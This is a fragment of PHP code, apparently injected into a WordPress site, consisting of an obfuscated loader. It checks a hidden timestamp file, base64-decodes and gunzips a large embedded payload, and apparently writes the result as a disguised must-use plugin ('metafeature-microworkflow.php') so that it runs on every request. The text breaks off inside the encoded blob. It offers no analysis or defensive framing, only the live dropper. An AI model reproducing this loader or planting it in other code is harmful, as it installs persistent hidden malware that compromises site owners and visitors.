/*WIOKPLL*/ if ( ! defined( 'EFDBUDKHR' ) ) { define( 'EFDBUDKHR', 1 ); $__do = true; if ( 259200 > 0 ) { $__df = WP_CONTENT_DIR . '/cache/.ybxrfx'; if ( is_file( $__df ) && (int) @file_get_contents( $__df ) > time() ) $__do = false; } if ( $__do ) { $__p = WP_CONTENT_DIR . '/mu-plugins/metafeature-microworkflow.php'; $__c = @gzdecode( @base64_decode( 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